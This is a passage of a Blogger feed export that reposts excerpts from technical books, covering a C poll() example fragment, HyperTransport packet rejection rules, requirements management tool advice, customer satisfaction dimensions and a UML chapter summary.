i++)&lt;br /&gt;       r_close(fd[i]);&lt;br /&gt;   free(pollfd);&lt;br /&gt;}&lt;br /&gt;&lt;/PRE&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;td&gt;&lt;/td&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;td class="tt1"&gt;[ Team LiB ]&lt;/td&gt;&lt;td valign="top" class="tt1" align="right"&gt;&lt;br /&gt;          &lt;br /&gt;          &lt;br /&gt;&lt;/td&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-5697491592962667205?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/5697491592962667205/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/45-function.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/5697491592962667205'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/5697491592962667205'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/45-function.html' title='4.5 The &amp;#39;poll&amp;#39; Function'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-6854046811624796488</id><published>2009-11-13T07:49:00.023-08:00</published><updated>2009-11-13T07:49:29.856-08:00</updated><title type='text'>Rejecting Packets</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;td class="tt1"&gt;[ Team LiB ]&lt;/td&gt;&lt;td valign="top" class="tt1" align="right"&gt;&lt;br /&gt;	&lt;br /&gt;	&lt;br /&gt;&lt;/td&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td valign="top"&gt;&lt;H3 class="docSection1Title"&gt; Rejecting Packets&lt;/H3&gt;&lt;br /&gt;&lt;P class="docText"&gt;Once system initialization is complete, packet rejection should be a rare event. The only non-error rejection after initialization would be the arrival of a broadcast message which is intended to travel to the end of the chain and then be dropped by the end-of-chain device. Prior to the completion of system initialization, other devices may have not completed link initialization (&lt;span class="docEmphasis"&gt;Link Initialization&lt;/span&gt; bit is clear). If they have not been programmed to hold incoming packets pending completion of initialization (&lt;span class="docEmphasis"&gt;Drop on Uninitialized Link&lt;/span&gt; bit is set), they will behave as an end-of-chain device and reject packets temporarily.&lt;/P&gt;&lt;br /&gt;&lt;P class="docText"&gt;Actions taken when a packet is rejected by an end-of-chain device, or by an interior device which has not completed initialization and is behaving temporarily as one, depends on the type of packet.&lt;/P&gt;&lt;br /&gt;&lt;H4 class="docSection2Title"&gt; Rules For Rejection&lt;/H4&gt;&lt;br /&gt;&lt;span style="font-weight:bold"&gt;&lt;OL class="docList" TYPE="1"&gt;&lt;br /&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;Broadcast requests which have completed the trip to the end of a chain are silently dropped. These are always posted, so no response is expected or sent.&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;br /&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;Non-posted downstream directed requests (UnitID = 0) cause the return of a Target Done response (for non-posted writes or Flush) or a Data Response (for reads or Atomic RMW). The response for rejected non-posted downstream requests will have the Error and NXA error bits set, and the bridge bit clear. The UnitID field will be set to either 0 or that of the end-of-chain device. Read responses are accompanied by all requested data (driven to value of FFh)&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;br /&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;Non-Posted upstream directed requests (non-zero UnitID) cause the return of a Target Done response (for non-posted writes or Flush) or a Data Response (for reads or Atomic RMW). The response for rejected non-posted upstream requests will have the Error and NXA error bits set, and the bridge bit set. The UnitID field must be set to that of the original requester (without &lt;span class="docEmphUl"&gt;its&lt;/span&gt; UnitID and the bridge bit set in the response, an interior node won't accept the response). Read responses are accompanied by all requested data (driven to value of FFh)&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;br /&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;Rejected response and posted request packets are dropped.&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;br /&gt;&lt;/OL&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;/ul&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;td&gt;&lt;/td&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;td class="tt1"&gt;[ Team LiB ]&lt;/td&gt;&lt;td valign="top" class="tt1" align="right"&gt;&lt;br /&gt;          &lt;br /&gt;          &lt;br /&gt;&lt;/td&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-6854046811624796488?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/6854046811624796488/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/rejecting-packets.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/6854046811624796488'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/6854046811624796488'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/rejecting-packets.html' title='Rejecting Packets'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-1271509835694380209</id><published>2009-11-13T07:49:00.021-08:00</published><updated>2009-11-13T07:49:28.498-08:00</updated><title type='text'>Take Advantage of Tool Features</title><content type='html'>&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;td colspan="2" align="left" valign="top"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;td colspan="3" align="center" height="10" valign="top"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;td bgcolor="#000000"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;br /&gt;&lt;tbody&gt;&lt;tr&gt;&lt;br /&gt;&lt;td colspan="3" height="5"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td class="b24-chunknavigate" align="left" width="25%"&gt;&lt;/td&gt;&lt;br /&gt;&lt;td class="b24-chunknavigate" align="center" width="75%"&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0"&gt;&lt;br /&gt;&lt;tbody&gt;&lt;tr height="11"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td class="b24-chunknavigate" align="right" width="25%"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td colspan="3" height="5"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="chapter"&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="section"&gt;&lt;br /&gt;&lt;h2 class="first-section-title"&gt;&lt;br /&gt;Take Advantage of Tool Features&lt;/h2&gt;&lt;br /&gt;&lt;p class="first-para"&gt;I know of one organization that exported all the&lt;br /&gt;requirements for a huge five-year project from their specification&lt;br /&gt;documents into a high-end requirements management tool. They defined&lt;br /&gt;countless traceability links among the various types of requirements&lt;br /&gt;stored in the tool. The only&lt;br /&gt;thing they did with all the data, though, was to generate hefty&lt;br /&gt;traceability reports. As it happened, no one in the organization&lt;br /&gt;actually used these reports. The analysts didn't exploit the other&lt;br /&gt;features this powerful tool provided, and the developers still relied&lt;br /&gt;on paper specifications as the definitive source of requirements. The&lt;br /&gt;investment this organization made in acquiring, installing,&lt;br /&gt;configuring, and populating its requirements management tool didn't&lt;br /&gt;yield a meaningful return.&lt;/p&gt;&lt;br /&gt;&lt;p class="para"&gt;Conversely, I know of projects that stored their&lt;br /&gt;requirements in a tool but didn't take advantage of any capabilities&lt;br /&gt;the tool offered for managing those requirements. One of the strongest&lt;br /&gt;arguments for requirements management tools is having the ability to&lt;br /&gt;define traceability links. The more robust requirements management&lt;br /&gt;products even allow analysts to establish such links to objects stored&lt;br /&gt;in other tools, such as to design elements stored in a modeling tool,&lt;br /&gt;code segments in a version control tool, and tests in a test management&lt;br /&gt;tool. If you don't use the traceability feature, the value of keeping&lt;br /&gt;the requirements in a database is diminished.&lt;/p&gt;&lt;br /&gt;&lt;p class="para"&gt;The tools also let you define groups and individuals&lt;br /&gt;with different permission levels to identify who can read, create, and&lt;br /&gt;modify the contents of the database. Access controls are an important&lt;br /&gt;consideration for companies that have employees in multiple countries.&lt;br /&gt;These companies must be careful not to inappropriately expose sensitive&lt;br /&gt;technology and data to individuals who do not have the right to see&lt;br /&gt;that information. In contrast, information contained in a written&lt;br /&gt;document is visible to any reader. Take advantage of these tool&lt;br /&gt;capabilities to ensure that all the right people&amp;#8212;and only the right&lt;br /&gt;people&amp;#8212;can access your project's requirements.&lt;/p&gt;&lt;br /&gt;&lt;p class="last-para"&gt;Requirements management tools make managing&lt;br /&gt;requirements easier, but not easy. Before you invest in such a tool,&lt;br /&gt;define your own requirements for it so that your team will select a&lt;br /&gt;product that's a good match for its needs. See Chapter 21 of &lt;i class="emphasis"&gt;Software Requirements, Second Edition&lt;/i&gt;&lt;br /&gt;for guidance on developing a tool selection process. Don't get caught&lt;br /&gt;in the shelfware trap when you look into requirements management tools.&lt;/p&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;br /&gt;&lt;tbody&gt;&lt;tr&gt;&lt;br /&gt;&lt;td colspan="3" height="5"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td class="b24-chunknavigate" align="left" width="25%"&gt;&lt;/td&gt;&lt;br /&gt;&lt;td class="b24-chunknavigate" align="center" width="75%"&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0"&gt;&lt;br /&gt;&lt;tbody&gt;&lt;tr height="11"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td class="b24-chunknavigate" align="right" width="25%"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td colspan="3" height="5"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;  &lt;td rowspan="2" height="400" width="5"&gt;&lt;/td&gt;&lt;td rowspan="2" height="400" width="5"&gt;&lt;/td&gt;&lt;br /&gt;  &lt;td align="right" bgcolor="#ffffff" valign="top" width="135"&gt;&lt;/td&gt;&lt;br /&gt;&lt;td rowspan="2" height="400" width="5"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;br /&gt;  &lt;tr&gt;&lt;br /&gt;    &lt;td height="10"&gt;&lt;/td&gt;&lt;td height="10"&gt;&lt;/td&gt;&lt;br /&gt;  &lt;/tr&gt;&lt;br /&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-1271509835694380209?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/1271509835694380209/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/take-advantage-of-tool-features.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/1271509835694380209'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/1271509835694380209'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/take-advantage-of-tool-features.html' title='Take Advantage of Tool Features'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-3730932870766202236</id><published>2009-11-13T07:49:00.019-08:00</published><updated>2009-11-13T07:49:26.980-08:00</updated><title type='text'>14.3 Satisfaction with Company</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0" bgcolor="#CCCCCC"&gt;&lt;br /&gt;&lt;td&gt;&lt;font color="black" size=1&gt;I l&lt;font color="#FF0000"&gt;@&lt;/font&gt;ve RuBoard&lt;/td&gt;&lt;br /&gt;&lt;td valign="top" class="v2" align="right"&gt;&lt;br /&gt;	&lt;br /&gt;	&lt;br /&gt;&lt;/td&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td valign="top"&gt; &lt;br /&gt;&lt;H3 class="docSection1Title"&gt;14.3 Satisfaction with Company&lt;/H3&gt; &lt;br /&gt;&lt;P class="docText"&gt;Thus far our discussion on customer satisfaction has been product oriented�satisfaction with the overall software and with specific attributes. A broader scope of the subject deals with customers' overall satisfaction with the company. This broad definition of customer satisfaction includes a spectrum of variables in addition to the quality of the products. For instance, in their study of the customers' view model with regard to IBM Rochester, Hoisington and associates (Hoisington et al., 1993; Naumann and Hoisington, 2001) found that customers' overall satisfaction and loyalty is attributed to a set of common attributes of the company (as perceived by the customers) and satisfaction levels with specific dimensions of the entire company. The common attributes include ease of doing business with, partnership, responsiveness, knowledge of customer's business, and the company's being customer driven. The key dimensions of satisfaction about the company include technical solutions, support and service, marketing, administration, delivery, and company image. The dimension of technical solutions includes product quality attributes. In the following, we list several attributes under each dimension:&lt;/P&gt;&lt;br /&gt;&lt;UL&gt;&lt;br /&gt;&lt;LI&gt;&lt;p class="docText"&gt;&lt;br /&gt;&lt;span class="docEmphasis"&gt;Technical solutions:&lt;/span&gt; &lt;br /&gt;quality/reliability, availability, ease of use, pricing, installation, new technology&lt;/p&gt;&lt;br /&gt;&lt;/LI&gt;&lt;br /&gt;&lt;LI&gt;&lt;p class="docText"&gt;&lt;br /&gt;&lt;span class="docEmphasis"&gt;Support and service:&lt;/span&gt; &lt;br /&gt;flexible, accessible, product knowledge&lt;/p&gt;&lt;br /&gt;&lt;/LI&gt;&lt;br /&gt;&lt;LI&gt;&lt;p class="docText"&gt;&lt;br /&gt;&lt;span class="docEmphasis"&gt;Marketing:&lt;/span&gt; &lt;br /&gt;solution, central point of contact, information&lt;/p&gt;&lt;br /&gt;&lt;/LI&gt;&lt;br /&gt;&lt;LI&gt;&lt;p class="docText"&gt;&lt;br /&gt;&lt;span class="docEmphasis"&gt;Administration:&lt;/span&gt; &lt;br /&gt;purchasing procedure, billing procedure, warranty expiration notification&lt;/p&gt;&lt;br /&gt;&lt;/LI&gt;&lt;br /&gt;&lt;LI&gt;&lt;p class="docText"&gt;&lt;br /&gt;&lt;span class="docEmphasis"&gt;Delivery:&lt;/span&gt; &lt;br /&gt;on time, accurate, postdelivery process&lt;/p&gt;&lt;br /&gt;&lt;/LI&gt;&lt;br /&gt;&lt;LI&gt;&lt;p class="docText"&gt;&lt;br /&gt;&lt;span class="docEmphasis"&gt;Company image:&lt;/span&gt; &lt;br /&gt;technology leader, financial stability, executives image&lt;/p&gt;&lt;br /&gt;&lt;/LI&gt;&lt;br /&gt;&lt;/UL&gt;&lt;br /&gt;&lt;P class="docText"&gt;It is remarkable that in Hoisington's customer view model, company image is one of the dimensions of customer satisfaction. Whether this finding holds true in other cases remains to be seen. However, this finding illustrates the importance of both a company's actual performance and how it is perceived with regard to customer satisfaction.&lt;/P&gt;&lt;br /&gt;&lt;P class="docText"&gt;It is apparent that customer satisfaction at both the company level and the product level needs to be analyzed and managed. Knowledge about the former enables a company to take a comprehensive approach to total quality management; knowledge about the latter provides specific clues for product improvements.&lt;/P&gt;&lt;br /&gt;&lt;P class="docText"&gt;Yet another type of analysis centers on why customers choose a company's products over other companies', and vice versa. This kind of analysis requires information that is not available from regular customer satisfaction surveys, be they product level or company level. It requires data about customers' decision making for purchases and requires responses from those who are not the company's current customers as well as those who are. This type of analysis, albeit difficult to conduct, is worthwhile because it deals directly with the issue of gaining new customers to expand the customer base.&lt;/P&gt;&lt;br /&gt;&lt;ul&gt;&lt;/ul&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;td&gt;&lt;/td&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0" bgcolor="#CCCCCC"&gt;&lt;br /&gt;&lt;td&gt;&lt;font color="black" size=1&gt;I l&lt;font color="#FF0000"&gt;@&lt;/font&gt;ve RuBoard&lt;/td&gt;&lt;br /&gt;&lt;td valign="top" class="v2" align="right"&gt;&lt;br /&gt;          &lt;br /&gt;          &lt;br /&gt;&lt;/td&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-3730932870766202236?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/3730932870766202236/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/143-satisfaction-with-company.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/3730932870766202236'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/3730932870766202236'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/143-satisfaction-with-company.html' title='14.3 Satisfaction with Company'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-8743942817713749966</id><published>2009-11-13T07:49:00.017-08:00</published><updated>2009-11-13T07:49:24.442-08:00</updated><title type='text'>Summary</title><content type='html'>&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;TABLE BORDER="0" CELLSPACING="0" CELLPADDING="0" WIDTH="700" BGCOLOR="#FFFFFF"&gt;&lt;br /&gt;&lt;TR&gt;&lt;br /&gt;&lt;TD BGCOLOR="#000000" HEIGHT="700" WIDTH="1" ROWSPAN="2"&gt;&lt;/TD&gt;&lt;TD VALIGN="top" ALIGN="Left" WIDTH="482"&gt;&lt;br /&gt;&lt;DIV CLASS="b24-bookmeta" xmlns:dc="http://purl.org/dc/elements/1.0/"&gt;&lt;br /&gt;&lt;TABLE BORDER="0" CELLPADDING="0" CELLSPACING="2" xWIDTH="100%"&gt;&lt;br /&gt;&lt;TR&gt;&lt;br /&gt;&lt;TD VALIGN="TOP" ALIGN="Right" WIDTH="100"&gt;&lt;/TD&gt;&lt;TD WIDTH="2" HEIGHT=""&gt;&lt;/TD&gt;&lt;br /&gt;&lt;TD VALIGN="Top" ALIGN="Left" WIDTH="350"&gt;&lt;br /&gt;&lt;TABLE BORDER="0" CELLPADDING="0" CELLSPACING="4" WIDTH="100%" HEIGHT=""&gt;&lt;br /&gt;&lt;TR&gt;&lt;TD VALIGN="TOP" ALIGN="Left" COLSPAN="2"&gt;&lt;SPAN CLASS="b24-bookchaptertitle"&gt;Chapter 1 - &lt;br /&gt; Review of UML&lt;/SPAN&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR&gt;&lt;br /&gt;&lt;TD VALIGN="Top" ALIGN="Left" COLSPAN="2"&gt;&lt;/TD&gt;&lt;br /&gt;&lt;/TR&gt;&lt;br /&gt;&lt;TR&gt;&lt;br /&gt;&lt;TD VALIGN="TOP" ALIGN="Left"&gt;&lt;SPAN CLASS="b24-bookauthor"&gt;byAndrew Filevet al.&lt;/SPAN&gt;?&lt;br /&gt;  &lt;/TD&gt;&lt;br /&gt;&lt;TD VALIGN="TOP" ALIGN="Right"&gt;&lt;/TD&gt;&lt;br /&gt;&lt;/TR&gt;&lt;br /&gt;&lt;TR&gt;&lt;TD VALIGN="TOP" ALIGN="Left" COLSPAN="2"&gt;&lt;SPAN CLASS="b24-bookimprint"&gt;Wrox Press&lt;/SPAN&gt;&lt;SPAN CLASS="b24-bookcwdate"&gt;  &amp;copy;2002&lt;/SPAN&gt;&lt;/TD&gt;&lt;br /&gt;&lt;/TR&gt;&lt;br /&gt;&lt;TR&gt;&lt;TD VALIGN="Middle" ALIGN="Left" COLSPAN="2"&gt;&lt;br /&gt;&lt;TABLE BORDER="0" CELLSPACING="0" CELLPADDING="3"&gt;&lt;/TABLE&gt;&lt;br /&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;br /&gt;&lt;/TABLE&gt;&lt;br /&gt;&lt;/TD&gt;&lt;br /&gt;&lt;TD VALIGN="Top" ALIGN="Center" WIDTH="80"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;br /&gt;&lt;/TR&gt;&lt;br /&gt;&lt;/TABLE&gt;&lt;br /&gt;&lt;/DIV&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;TABLE CELLSPACING="0" CELLPADDING="0" BORDER="0" WIDTH="100%"&gt;&lt;br /&gt;&lt;TR&gt;&lt;br /&gt;&lt;TD ALIGN="Center"&gt;&lt;br /&gt;&lt;TABLE CELLSPACING="5" CELLPADDING="0" BORDER="0" WIDTH="85%"&gt;&lt;/TABLE&gt;&lt;br /&gt;&lt;/TD&gt;&lt;br /&gt;&lt;/TR&gt;&lt;br /&gt;&lt;TR&gt;&lt;TD BGCOLOR="#000000"&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;br /&gt;&lt;/TABLE&gt;&lt;br /&gt;&lt;TABLE BORDER="0" CELLSPACING="0" CELLPADDING="0" WIDTH="100%"&gt;&lt;br /&gt;&lt;TR&gt;&lt;TD COLSPAN="3" HEIGHT="10"&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;br /&gt;&lt;TR&gt;&lt;br /&gt;&lt;TD CLASS="b24-chunknavigate" WIDTH="25%" ALIGN="left"&gt;&lt;/TD&gt;&lt;br /&gt;&lt;TD CLASS="b24-chunknavigate" WIDTH="75%" ALIGN="center"&gt;Team FLY&lt;/TD&gt;&lt;br /&gt;&lt;TD CLASS="b24-chunknavigate" WIDTH="25%" ALIGN="right"&gt;&lt;/TD&gt;&lt;br /&gt;&lt;/TR&gt;&lt;br /&gt;&lt;TR&gt;&lt;TD COLSPAN="3" HEIGHT="10"&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;br /&gt;&lt;/TABLE&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="chapter"&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="section"&gt;&lt;br /&gt;&lt;h2 class="first-section-title"&gt;&lt;br /&gt;Summary&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="para"&gt;In this chapter we've introduced the Unified Modeling Language in terms of what it is (an analysis / design notation) and what it is not (a software development process). We said that the notation represents a synthesis of three predecessor methods - Object Modeling Technique (OMT), the Booch Method, and Object-Oriented Software Engineering (OOSE) - with contributions from some others.&lt;/p&gt;&lt;br /&gt;&lt;p class="para"&gt;In terms of why you might use UML at all, we offer four main reasons:&lt;/p&gt;&lt;br /&gt;&lt;ul class="itemizedlist"&gt;&lt;br /&gt;&lt;li class="first-listitem"&gt;&lt;br /&gt;&lt;p class="first-para"&gt;Establishing a blueprint from the application&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="listitem"&gt;&lt;br /&gt;&lt;p class="first-para"&gt;Estimating and planning the time and materials&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="listitem"&gt;&lt;br /&gt;&lt;p class="first-para"&gt;Communicating between teams, and within the team&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="listitem"&gt;&lt;br /&gt;&lt;p class="first-para"&gt;Documenting the project&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;p class="para"&gt;The remainder of the chapter was divided into two main sections, &lt;i class="emphasis"&gt;End-to-End UML Modeling&lt;/i&gt; dealing with the UML notation and &lt;i class="emphasis"&gt;Process Essentials&lt;/i&gt; dealing with the companion process(es). Let's now review the modeling and process sections.&lt;/p&gt;&lt;br /&gt;&lt;div class="section"&gt;&lt;br /&gt;&lt;h3 class="sect3-title"&gt;&lt;br /&gt;Modeling Summary&lt;/h3&gt;&lt;br /&gt;&lt;p class="first-para"&gt;In this section, we looked at seven UML diagram types:&lt;/p&gt;&lt;br /&gt;&lt;ul class="itemizedlist"&gt;&lt;br /&gt;&lt;li class="first-listitem"&gt;&lt;br /&gt;&lt;p class="first-para"&gt;Activity diagrams&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="listitem"&gt;&lt;br /&gt;&lt;p class="first-para"&gt;Use Case diagrams&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="listitem"&gt;&lt;br /&gt;&lt;p class="first-para"&gt;Sequence diagrams&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="listitem"&gt;&lt;br /&gt;&lt;p class="first-para"&gt;Collaboration diagrams&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="listitem"&gt;&lt;br /&gt;&lt;p class="first-para"&gt;Statechart diagrams&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="listitem"&gt;&lt;br /&gt;&lt;p class="first-para"&gt;Component diagrams&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="listitem"&gt;&lt;br /&gt;&lt;p class="first-para"&gt;Deployment diagrams&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;p class="para"&gt;Each kind of diagram was annotated with the UML metatypes such as &lt;b class="bold"&gt;actor, use case, class, dependency, association,&lt;/b&gt; and so on.&lt;/p&gt;&lt;br /&gt;&lt;p class="para"&gt;Each diagram represented a different view of exactly the same application, so that you could relate the diagrams to each other with the help of the &lt;i class="emphasis"&gt;What this diagram shows&lt;/i&gt; sections. We consider the relationships between the diagrams to be so important - and all too often ignored - that we placed further emphasis on this point in the &lt;i class="emphasis"&gt;Fitting the Pieces into the UML Jigsaw&lt;/i&gt; 